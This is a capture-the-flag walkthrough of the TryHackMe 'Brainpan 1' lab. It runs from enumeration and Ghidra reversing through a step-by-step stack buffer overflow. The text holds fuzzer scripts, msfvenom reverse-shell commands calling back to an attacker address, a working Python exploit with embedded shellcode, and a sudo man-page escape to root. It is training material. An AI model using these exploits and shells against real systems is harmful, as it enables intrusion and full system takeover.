Brainpan 1 THM
IP
10.10.28.147
initial nmap scan
sudo nmap -sV -sC -A -oA inital_nmap 10.10.28.147

full nmap scan
sudo nmap -T5 -p- -oA full_nmap 10.10.28.147
Ports
9999: abyss
10000: HTTP
Port 10000 HTTP
when we navigate to port 10000 we are greeted with the following

looks like a blog regarding safe coding looks pretty static no functionality
lets find any hidden dirs
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.28.147:10000 -o dirs.txt
we do find
/bin
navitgating to http://10.10.18.147:10000/bin
we will find brainpan.exe

Let's down the executable and start enumeration on the file
first, let's move the brainpan.exe into our working directory
cp /home/kali/Downloads/brainpan.exe .
we need to know what kind of file we are enumerating
file brainpan.exe

we can see we are working with a windows 32bit executable
Lets run strings to pick up any string within the binary
strings brainpan.exe

that seems like an odd string, could it be a password?
Lets see, we can use netcat to attempt a connection at port 9999 with the password shitstorm
nc 10.10.28.147 9999

we have the right password but we have no functionality after we pass it through
Let's use wine, what is wine ?
Wine is a tool that allows us to run on a Unix-like operating system to create a compatible layer that allows us to run Windows applications, wine enables users to run a wide range of Windows software directly from a Linux machine
For us, this means we can run the 32bit windows executable from our kali machine
for installation purposes we need to do the following from our root console
dpkg --add-architecture i386
apt-get update && apt-get install wine32:i386
let's use wine and run the executable
wine brainpan.exe

Now we can connect to the executable from our local host
nc 127.0.0.1 9999

after we enter the password we dont get any further functionality
Let's open the executable using ghidra
ghidra
we can import our brainpan.exe through the file -> Import File

Once the file is loaded into ghidra we can double click it in the window

Once we open the file through ghidra we will see a message asking if we want to analyze it, and yes we should, just to get further information on the file

when prompted just click the analyze button
Now the first thing we want to check out would be the functions tab on the left of the window

within the functions tab, we should check out what consists of the _main
function

Looking within the reconstructed code to the right of the window, we can see
1local_414 = _get_reply(local_3fc);
this seems interesting and if we look further within the
_get_reply
function we can see

we can see within this function we are passing through
param1
(most likely the password)Then the system function
_strcpy
to coping ourparam1
tolocal_20c
This indeed could be vulnerable to a buffer overflow since there is no check on the amount of characters that can be passed through
also there is a string comparison
_strcmp
that compares the variablelocal_20c
which holds the value ofparam1
(the password being passed through) to the password stringshitstorm
we can also tell from the
char local_20c [520];
that the variablelocal_20c
has a buffer size of 520
Now what we can do is bring the executable up using Wine again on our local machine and start building our buffer overflow exploit
sudo wine brainpan.exe

now from another terminal window, we can use python3 and netcat to send characters through the password prompt and find the buffer limit
we will start with a buffer of 510 characters
python3 -c "print('A' * 510)" | nc -v 127.0.0.1 9999
we can see in our terminal that we are still under the buffer cap

what if we send 520 characters
python3 -c "print('A' * 520)" | nc -v 127.0.0.1 9999
we can see we crashed the program

Lets move over to a Windows VM running the Immunity debugger
a quick way to transfer the brainpan.exe file is using a Python server in the Kali machine and navigating through the Windows internet browser and downloading the file
Once we are one our Windows machine and we have brainpan.exe downloaded we want to run brainpan.exe and run the immunity debugger with administrative privileges
once they are running, in the immunity debugger we click file -> attach -> click brainpan -> attach
this will bring up the brainpan.exe in a paused state we want to change this to run the program by clicking

Now from our kali vm, we can interact with the program, for now, let's build a Python script
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = "A" * 100
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + '\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload.encode())
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
when we run our python script
python3 fuzzer.py 192.168.234.136 9999
after running our script we can see the application crashed at 1000 bytes

and if we look at the immunity debugger we can see

we can see we have overwritten the EIP and the EVP
Now we need to work out at which point the EIP is being written over, so we can modify the pointer in which we can point it at something malcious
Now we want to close the immunity debugger and then start it back up along with our brainpan application, we want to work out where exactly where the EIP is being overwritten
in our kali machine we are going to utilize a tool through msf called msf-pattern_create
since we know the application crashed at 1000 bytes we specify we want to generate 1000 characters
msf-pattern_create -l 1000

Now we are going to modify our Python script
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + '\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload.encode())
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
#sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
#self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
running the script
python3 fuzzer.py 192.168.234.136 9999
when we look back in the immunity debugger we can see that EIP has now 35724134

With this we are going to use msf-pattern_offset
msf-pattern_offset -l 1000 -q 35724134
and we can see

what this mean is the EIP is at 524 byte
to confirm this lets edit our python script again
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = 'A' * 524 + 'B' * 4
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + '\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload.encode())
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
#sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
#self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
self.buffer = 'A' * 524
Will lead us to the EIP'B' * 4
then we should see42424242
within the EIP
running our script again
python3 fuzzer.py 192.168.234.136 9999
we can see we have successfully overwritten the EIP

Now for the next step we are going to look for bad characters in this
for this we can use the following repo
Now we are going to modify the Python script again
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = 'A' * 524 + 'B' * 4
self.badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + self.badchars + '\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload.encode())
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
#sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
#self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
restart our immunity debugger again same as before now lets run our python script again
Now within immunity debugger we want to checkout the ESP, right click and follow in dump

then if we look within the bottom left of the windows we should see the dumped contents
when we look at the dumped contents we can see it start at 01
and follows up in the same order as our badchars

our main goal here is to find any bad characters here but further inspection proves there are not
for our next step we are going to need mona modules
follow the installation
run immunity debugger and brainpan again
Now at the bottom of immunity debugger we can type
!mona modules

we can also see False across the board for any protection brainpan may have had
lets check if we can find a return address, we can use Mona for this
!mona find -s "\xff\xe4" -m brainpan.exe
now \xff\xe4 is our JMB esp instruction, meaning our jump code
we want to search for a jump, which we find at 0x311712f3

Now we can follow the expression by clicking

then enter the jmp code
we can see the jmp code sets here

Now we can set a breakpoint at this location, press f2 to set a breakpoint
were just going to set a breakpoint to ensure that we can trigger this breakpoint
Now we are going to write this backwards
back in our python script
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = b"A" * 524 + b"\xf3\x12\x17\x31"
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + b'\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload)
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
#sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
#self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
once we run the script, we can look back at our immunity debugger and well see that we had hit a breakpoint

from the above, we can see that we are hitting the exception, we are hitting the jmp ESP, which is good
Now we can close the immunity debugger and run brainpan as administrator
Now we are going to generate a malicious shellcode using msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.14.45.1 LPORT=9001 -b "\x00" -f c

I kept running into problems while running the Python script against the windows vm running brainpan, so i directed my energy on tackling the actual application running through Linux server
lets generate shell code
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.14.45.1 LPORT=443 EXITFUNC=thread -f python -b "\x00" -v shell

Now lets create a new cleaner python script to run the exploit
import sys, socket
host = "10.10.117.207"
port = 9999
shell = b"\xba\x99\x9e\x90\xbc\xda\xc1\xd9\x74\x24\xf4\x5d"
shell += b"\x33\xc9\xb1\x12\x31\x55\x12\x83\xed\xfc\x03\xcc"
shell += b"\x90\x72\x49\xdf\x77\x85\x51\x4c\xcb\x39\xfc\x70"
shell += b"\x42\x5c\xb0\x12\x99\x1f\x22\x83\x91\x1f\x88\xb3"
shell += b"\x9b\x26\xeb\xdb\x11\xd7\x26\x1a\x4e\xe5\x38\x1d"
shell += b"\x35\x60\xd9\xad\x2f\x23\x4b\x9e\x1c\xc0\xe2\xc1"
shell += b"\xae\x47\xa6\x69\x5f\x67\x34\x01\xf7\x58\x95\xb3"
shell += b"\x6e\x2e\x0a\x61\x22\xb9\x2c\x35\xcf\x74\x2e"
offset = 524
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = b"A" * offset # Padding
payload += b"\xf3\x12\x17\x31" # EIP
payload += b"\x90" * 100 # NOP sled
payload += shell # Shellcode
payload += b"\r\n"
s.send(payload)
s.close()
except:
print("Error connecting to server")
sys.exit()
we now have a shell

Privilege escalation via puck
Let's stabilize our shell
python3 -c "import pty;pty.spawn('/bin/bash')"
lets check our sudo privileges
sudo -l

When we run the command with sudo we can see the following

we can run the /home/anansi/bin/anansi_util manual
it's essentially running man pages meaning we can elevate our privileges to root
if we checkout gtfobins
we can elevate our privileges like so
sudo /home/anansi/bin/anansi_util manual man man
!/bin/sh
we are now root

Last updated